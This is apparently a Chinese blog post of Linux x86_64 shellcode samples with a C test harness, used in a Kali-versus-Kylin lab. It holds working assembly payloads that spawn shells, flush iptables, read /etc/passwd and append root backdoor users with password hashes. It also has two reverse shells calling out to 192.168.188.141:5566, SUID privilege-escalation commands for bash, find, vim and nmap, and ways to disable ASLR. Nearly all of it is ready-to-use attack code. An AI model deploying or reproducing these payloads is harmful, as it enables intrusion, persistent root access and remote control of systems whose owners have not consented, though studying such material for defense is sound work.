shellcode_linux_x86_64

[TOC]

本文是我的另一篇文章的精简版,删除了参考文章,以及一些额外的解释,只保留了最关键的部分。如想学习写shellcode,可以去阅读 Linux_shellcode开发之实战

0. README

下列文章中的汇编代码,用下面的命令编译运行:

$ nasm -f elf64 fileName.asm 
$ ld -m elf_x86_64 fileName.o -o fileName 
$ ./fileName 

注意:这里和下面的 fileName,都要用实际相应的文件名替换。

用下面这串命令,来自动提取机器码:

for i in $(objdump  -d fileName.o | grep "^ " | cut  -f2); do echo  -n  '\x'$i; done; echo 

注意:提取出的机器码放在 c语言代码的 shellcode[] 这个常量数组中。

//fileName.c
#include <stdio.h>
#include <string.h>

int main()
{
    const char shellcode[] =  "/*将机器码放在这里*/";
    //当shellcode包含空字符时,printf 将会打印出错误的 shellcode 长度
    printf("Shellcode length: %d bytes\n",strlen(shellcode));
    (*(void(*)())shellcode)();
}

搭建好的 c语言代码,用下面的命令编译运行:

$ gcc fileName.c -o fileName -z execstack -z norelro -no-pie -g
$ ./execve_sh64

以下,只提供汇编代码,相应参数我会在代码头做相应注释。

1. 打开 terminal

0x1

; execveSh64_30.asm
; length = 30 bytes
global _start
section .text
 
_start:
	; execve("/bin/sh", ["/bin/sh"], NULL)
	; rax = 0x3b, rdx= NULL, rdi = '//bin/sh', rsi = '//bin/sh'
	xor		rdx, rdx
	mov		qword rbx, '//bin/sh'		; 0x68732f6e69622f2f
	shr		rbx, 0x8
	push		rbx
	mov		rdi, rsp
	push		rax
	push		rdi
	mov		rsi, rsp
	mov		al, 0x3b
	syscall

0x2

; execveSh64_28.asm
; length = 28 bytes
global _start
section .text

_start:
xor rcx, rcx
mul rcx

add al, 0x3b     ; execve()
mov rbx, 0x68732f2f6e69622f ; hs//nib/

; Argument one shell[0] = "/bin//sh"
push rdx     ; null
push rbx     ; hs//nib/

; We need pointers for execve()
push rsp     ; *pointer to shell[0]
pop rdi      ; Argument 1

; Argument two shell (including address of each argument in array)
push rdx     ; null
push rdi     ; address of shell[0]

; We need pointers for execve()
push rsp     ; address of char * shell
pop rsi      ; Argument 2

syscall

0x3

;execveSh64_27.asm
global _start
section .text

_start:
xor eax, eax
mov rbx, 0xFF978CD091969DD1
neg rbx
push rbx
;mov rdi, rsp
push rsp
pop rdi
cdq
push rdx
push rdi
;mov rsi, rsp
push rsp
pop rsi
mov al, 0x3b
syscall

关于汇编语言中cdq指令作用解惑

cdq的作用无非就是将一个32位有符合数扩展为64位有符合数,数据能表示的数不变,具体是这样实现的,比如eax=fffffffb(值为-5),然后cdq把eax的最高位bit,也就是二进制1,全部复制到edx的每一个bit位,EDX 变成 FFFFFFFF,这时eax与edx连起来就是一个64位数,FFFFFFFF FFFFFFFB ,它是一个 64 bit 的大型数字,数值依旧是 -5

2. 重启 reboot

; execveReboot.asm
global _start
section .text
 
_start:
	; execve("/usr/sbin/reboot", ["/usr/sbin/reboot"], NULL)
	; rax = 0x3b, rdx= NULL, rdi = '/usr/sbin/reboot', rsi = '/usr/sbin/reboot'
	xor		rdx, rdx
	push  	rdx
	mov		rbx, 'n/reboot'
	push		rbx
	mov 	rbx, '/usr/sbi'
	push 		rbx
	mov		rdi, rsp
	push		rax
	push		rdi
	mov		rsi, rsp
	mov		al, 0x3b
	syscall

3. 关闭防火墙(清空 iptable)

; clearIptable.asm
; 注:需要root权限
section .text
	global _start
         
_start:
    xor     rax, rax
    push    rax
    push    word 0x462d
    mov     rcx, rsp
       
    mov     rbx, 0x73656c626174ffff
    shr     rbx, 0x10
    push    rbx
    mov     rbx, 0x70692f6e6962732f
    push    rbx
    mov     rdi, rsp
         
    push    rax
    push    rcx
    push    rdi
    mov     rsi, rsp
        
    ; execve("/sbin/iptables", ["/sbin/iptables", "-F"], NULL);
    mov     al, 0x3b
    syscall

4. passwd

4.1 读取 passwd

cat 读取

; catPasswd.asm
; execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)

global _start
section .text

_start:

       xor rax, rax                   ; Zeroes out RAX.
       xor rbp, rbp                   ; Zeroes out RBP.

       push rax                       ; Pushes RAX's NULL-DWORD.

       mov rbp, 0x6477737361702f63    ; Moves value "dwsspa/c" into RBP.
       push rbp                       ; Pushes the vaueof RBP into the Stack.

       mov rbp, 0x74652f2f2f2f2f2f    ; Moves value "te//////" into RBP.
       push rbp                       ; Pushes the vaue of RBP into the Stack.

       mov rbp, rsp                   ; Copies the value of the Stack into RBP.
       push rax                       ; Pushes RAX's NULL-DWORD.

       mov rbx, 0x7461632f6e69622f    ; Moves value "tac/nib/" into RBX.
       push rbx                       ; Pushes the vaue of RBX into the Stack.

       mov rbx, rsp                   ; Copies the value of the Stack into RBX.

       mov rdi, rsp                   ; Copies the value of the Stack into RDI.
       push rax                       ; Pushes RAX's NULL-DWORD.

       mov rdx, rsp                   ; Copies the value of the Stack into RDX. As the previous DWORD was completely NULL, RDX is set to 0.

       push rbp                       ; Pushes the vaue of RBP into the Stack.
       push rbx                       ; Pushes the vaue of RBX into the Stack. The full string should be "cat /etc/passwd".

       mov rsi, rsp                   ; Copies this entire string from the Stack into RSI.

       push word 59                   ; Pushes the value 59 (syscall value for execve in the x64 format).
       pop ax                         ; Pops this value into AX so there are no NULLs.
       syscall                        ; The syscall is executed.

系统调用读取

; readPasswd.asm
global _start
section .text

_start:
	jmp _push_filename
  
_readfile:
; syscall open file, 0x2
; open('/etc/passwd', O_RDWR), O_RDWR=0x2
pop rdi ; pop path value
xor rax, rax
add al, 2
xor rsi, rsi ; set O_RDWR flag
syscall
  
; syscall read file, 0x0
; read(fd, buf, 0xfff), rdi=rax=fd(fd is open's return number)
sub sp, 0xfff
lea rsi, [rsp]
mov rdi, rax
xor rdx, rdx
mov dx, 0xfff; size to read
xor rax, rax
syscall
  
; syscall write to stdout, 0x1
; write(fd, buf, 0xfff)
xor rdi, rdi
inc rdi ; set stdout fd = 1
mov rdx, rax
xor rax, rax
inc rax
syscall
  
; syscall exit
xor rax, rax
add al, 60
syscall
  
_push_filename:
call _readfile
path: db "/etc/passwd"

4.2 写入 passwd

0x1

; addRootUser.asm
; 注:需要root权限
; Action: Adds a user into /etc/passwd with the following information
; username: toor
; password: toor
; uid: 0
; gid: 0
; home: /root
; shell: /bin/sh
;
; toor:sXuCKi7k3Xh/s:0:0::/root:/bin/sh

global _start

section .text

_start:
	jmp _push_filename
	
; #define __NR_open 2
; int open(const char *pathname, int flags);
; rax -> 2
; rdi -> /etc/passwd
; rsi -> 0x401
;
; >>> hex(os.O_WRONLY ^ os.O_APPEND)
; 0x401
_openfile:
pop rdi 	  ; rdi -> /etc/passwd
xor rax, rax
xor rsi, rsi  ; rsi to zero
mov si, 0x401 ; rsi -> O_WRONLY|O_APPEND
add al, 0x2 ; rax -> 2 (open)
syscall ; open

xchg rdi, rax ; save returned fd
jmp short get_entry_address ; start jmp-call-pop

write_entry:
; #define __NR_write 1
; ssize_t write(int fd, const void *buf, size_t count);
; rax -> 1
; rdi -> results of open syscall
; rsi -> user's entry
; rdx -> len of user's entry
pop rsi ; end jmp-call-pop, rsi -> user's entry
push 0x1
pop rax ; rax -> 1
push 38 ; length + 1 for newline
pop rdx ; rdx -> length of user's entry
syscall ; write

; #define __NR_exit 60
; void _exit(int status);
; rax -> 60
; rdi -> don't care
push 60
pop rax
syscall ; OS will handle closing fd at exit

get_entry_address:
call write_entry
user_entry: db "toor:sXuCKi7k3Xh/s:0:0::/root:/bin/sh",0xa

_push_filename:
call _openfile
path: db "/etc/passwd"

0x2

; addRootUser_tor.asm
; 注;需要root权限
;Purpose:       adds user "t0r" with password "Winner" to /etc/passwd
;executed syscalls:     setreuid, setregid, open, write, close, exit
;Result:        t0r:3UgT5tXKUkUFg:0:0::/root:/bin/bash
;syscall op codes:  /usr/include/x86_64-linux-gnu/asm/unistd_64.h

section .text
global _start
_start:
    ;sys_setreuid(uint ruid, uint euid)
    xor     rax,    rax
    mov     al,     113                     ;syscall sys_setreuid
    xor     rbx,    rbx                     ;arg 1 -- set real uid to root
    mov     rcx,    rbx                     ;arg 2 -- set effective uid to root
    syscall
    
    ;sys_setregid(uint rgid, uint egid)
    xor     rax,    rax
    mov     al,     114                     ;syscall sys_setregid
    xor     rbx,    rbx                     ;arg 1 -- set real uid to root
    mov     rcx,    rbx                     ;arg 2 -- set effective uid to root
    syscall
    
    ;push all strings on the stack prior to file operations.
    xor rbx,    rbx
    mov     ebx,    0x647773FF
    shr     rbx,    8
    push    rbx                             ;string \00dws
    mov     rbx,    0x7361702f6374652f
    push    rbx                             ;string sap/cte/
    mov     rbx,    0x0A687361622F6EFF
    shr     rbx,    8
    push    rbx                             ;string \00\nhsab/n
    mov     rbx,    0x69622F3A746F6F72
    push    rbx                             ;string ib/:toor
    mov     rbx,    0x2F3A3A303A303A67
    push    rbx                             ;string /::0:0:g
    mov rbx,    0x46556B554B587435
    push    rbx             ;string FUkUKXt5
    mov rbx,    0x546755333A723074
    push    rbx             ;string TgU3:r0t
    
    ;prelude to doing anything useful...
    mov rbx,    rsp         ;save stack pointer for later use
    push    rbp             ;store base pointer to stack so it can be restored later
    mov rbp,    rsp         ;set base pointer to current stack pointer
    
    ;sys_open(char* fname, int flags, int mode)
    sub rsp,        16
    mov [rbp - 16], rbx     ;store pointer to "t0r..../bash"
    mov si,     0x0401      ;arg 2 -- flags
    mov rdi,        rbx
    add rdi,        40      ;arg 1 -- pointer to "/etc/passwd"
    xor rax,        rax
    mov al,     2       ;syscall sys_open
    syscall
    
    ;sys_write(uint fd, char* buf, uint size)
    mov [rbp - 4],  eax     ;arg 1 -- fd is retval of sys_open. save fd to stack for later use.
    mov rcx,        rbx     ;arg 2 -- load rcx with pointer to string "t0r.../bash"
    xor rdx,        rdx
    mov dl,     39      ;arg 3 -- load rdx with size of string "t0r.../bash\00"
    mov rsi,        rcx     ;arg 2 -- move to source index register
    mov rdi,        rax     ;arg 1 -- move to destination index register
    xor     rax,            rax
    mov     al,             1               ;syscall sys_write
    syscall
    
    ;sys_close(uint fd)
    xor rdi,        rdi
    mov edi,        [rbp - 4]   ;arg 1 -- load stored file descriptor to destination index register
    xor rax,        rax
    mov al,     3       ;syscall sys_close
    syscall
    
    ;sys_exit(int err_code)
    xor rax,    rax
    mov al, 60          ;syscall sys_exit
    xor rbx,    rbx         ;arg 1 -- error code
    syscall

5. 反向 shell

5.0 部署

【1】先在攻击端(kali: 192.168.188.141)输入以下命令。

image-20220817211511413

【2】然后在靶机端(Kylin:192.168.188.146)运行shellcode

5.1 netcat 命令行

由于 kylin 上原装的 netcat 是阉割版本,没有 -e 参数的,我们先需要安装完整版的 netcat。我将它安装在 /home/sakura/tools/netcat 目录下。

安装教程: 这可能是netcat最全的使用指南

; netcatRevTcp.asm
; 注:以下参数需要根据您的电脑上netcat的安装目录重新配置,IP地址也需要重新配置。
;execve("/home/sakura/tools/netcat/src/netcat", ["/home/sakura/tools/netcat/src/ne"..., "-e", "/bin/sh", "192.168.188.141", "5566"], NULL) = 0

global _start
section .text
_start:
    push rbp
    mov rbp, rsp
    sub rsp, 0x40
    mov qword rax, '5566AAAA'
	push rax
	mov qword rax, '188.141A'
	push rax
	mov qword rax, '192.168.'
	push rax
	mov qword rax, '/bin/shA'
	push rax
	mov qword rax, 'tcatA-eA'
	push rax
	mov qword rax, 't/src/ne'
	push rax
	mov qword rax, 'ls/netca'
	push rax
	mov qword rax, 'kura/too'
	push rax
	mov qword rax, '/home/sa'
	push rax
    
    xor byte [rsp+36], 0x41
   	xor byte [rsp+39], 0x41
   	xor byte [rsp+47], 0x41
   	xor byte [rsp+63], 0x41
    xor byte [rsp+71], 0x41
    xor byte [rsp+70], 0x41
    xor byte [rsp+69], 0x41
    xor byte [rsp+68], 0x41

	xor rax, rax
	mov rdi, rsp
	push rax
	lea rbx, [rdi+64]
	push rbx
	lea rbx, [rdi+48]
	push rbx
	lea rbx, [rdi+40]
	push rbx
	lea rbx, [rdi+37]
	push rbx
	push rdi
	mov rsi, rsp
	xor rdx, rdx 
	
   	add al , 59
   	syscall

5.2 系统调用

; revTcp.asm
; 注:在17行和18行的ip地址需要根据实际环境重新配置
; 攻击端ip:192.168.188.141
; 攻击端 post:5566
global _start
section .text
_start:
    ;Socket
    xor rdx, rdx                ; zero out rdx
    mov rsi, rdx                ; AF_NET = 1
    inc rsi                     ; rsi = AF_NET
    mov rdi, rsi                ; SOCK_STREAM = 2
    inc rdi                     ; rdi = SOCK_STREAM
    add ax, 0x29
    syscall                   ; call socket(SOCK_STREAM, AF_NET, 0);
	
    mov r12, rax
    sub rsp,0x10
    mov dword [rsp+0x4],0x8dbca8c0		; ip = 192.168.188.141
    mov word [rsp+0x2],0xbe15			; post = 5566
    mov word [rsp],0x2

    ; Connect = 0x2a
    mov rdi, rax                ; move the saved socket fd into rdi
    mov rsi, rsp                ; move the saved sock_addr_in into rsi
    add dx, 0x10                ; add 0x10 to rdx
    xor rax, rax    
    add ax, 0x2a
    syscall                     ; call connect(rdi, rsi, rdx)

    xor rsi, rsi                ; zero out rsi

    dup:
    xor rax, rax
    add ax, 0x21                ; move the syscall for dup2 into rax
    mov rdi, r12                ; move the FD for the socket into rdi
    syscall                     ; call dup2(rdi, rsi)

    cmp rsi, 0x2                ; check to see if we are still under 2
    inc rsi                     ; inc rsi
    jbe dup                     ; jmp if less than 2

    ;sub r8, 0x1F                ; setup the exec syscall at 0x3b
    xor rax, rax    
    add ax, 0x3b                 ; move the syscall into rax

    ;exec
    xor rdx, rdx				 ; zero out rdx
    mov qword rbx, '//bin/sh' 	 ; '/bin/sh' in hex
    shr rbx,0x8                  ; shift right to create the null terminator
    push rbx

    mov rdi, rsp
    push rdx
    push rdi              ; move the command from the stack to rdi
    mov rsi, rsp                ; zero out rsi
    syscall                     ; call exec(rdi, rsi, 0)

6. 提权方法

6.1 bash

sakura@Kylin:~$ sudo chmod u+s /bin/bash
sakura@Kylin:~$ ll /bin/bash
-rwsr-xr-x 1 root root 1183448 64  2021 /bin/bash*
sakura@Kylin:~$ bash -p
bash-5.0# whoami
root
bash-5.0# id
uid=1000(sakura) gid=1000(sakura) euid=0(root) 组=1000(sakura),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),119(lpadmin),129(sambashare)
bash-5.0# ./addRootUser 
bash-5.0# cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
。。。。。。
toor:sXuCKi7k3Xh/s:0:0::/root:/bin/sh
bash-5.0# 

6.2 nmap

判断nmap版本,nmap -v,如果版本在2.02至5.21之间,则可以提权

nmap> !sh
sh-3.2# whoami
root

6.3 find

sakura@Kylin:~$ sudo chmod u+s /bin/find
sakura@Kylin:~$ ll /bin/find
-rwsr-xr-x 1 root root 320160 4月  15  2020 /bin/find*
sakura@Kylin:~/文档$ touch anyfile
sakura@Kylin:~/文档$ find anyfile -exec whoami \;
root
sakura@Kylin:~/文档$ 
#进入shell
sakura@Kylin:~/文档$ find anyfile -exec "/bin/bash" "-p" \;
sh-5.0# whoami
root

6.4 vim

利用vim提权的思路是修改etc/passwd文件,为自己添加一个有root权限的用户

sakura@Kylin:~$ sudo chmod u+s /bin/vim.tiny
sakura@Kylin:~$ vim.tiny /etc/passwd
sakura@Kylin:~$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
、、、、
hello
sakura@Kylin:~$ 

7. 关闭 ASLR

配置选项

  • 0 = 关闭
  • 1 = 半随机。共享库、栈、mmap() 以及 VDSO 将被随机化。(留坑,PIE会影响heap的随机化。。)
  • 2 = 全随机。除了1中所述,还有heap。

方法一: 手动修改randomize_va_space文件

# echo 0 > /proc/sys/kernel/randomize_va_space

注意,这里是先进root权限,后执行。不要问为什么sudo echo 0 > /proc/sys/kernel/randomize_va_space为什么会报错

方法二: 使用sysctl控制ASLR

$ sysctl -w kernel.randomize_va_space=0

这是一种临时改变随机策略的方法,重启之后将恢复默认。如果需要永久保存配置,需要在配置文件 /etc/sysctl.conf 中增加这个选项。

方法三: 使用setarch控制单个程序的随机化 如果你想历史关闭单个程序的ASLR,使用setarch是很好的选择。setarch命令如其名,改变程序的运行架构环境,并可以自定义环境flag。

setarch `uname -m` -R ./your_program

-R参数代表关闭地址空间随机化(开启ADDR_NO_RANDOMIZE)

方法四: 在GDB场景下,使用set disable-randomization off 在调试特定程序时,可以通过 set disable-randomization 命令开启或者关闭地址空间随机化。默认是关闭随机化的,也就是on状态。

当然,这里开启,关闭和查看的方法看起来就比较正规了。

关闭ASLR:

set disable-randomization on

开启ASLR:

set disable-randomization off

查看ASLR状态:

show disable-randomization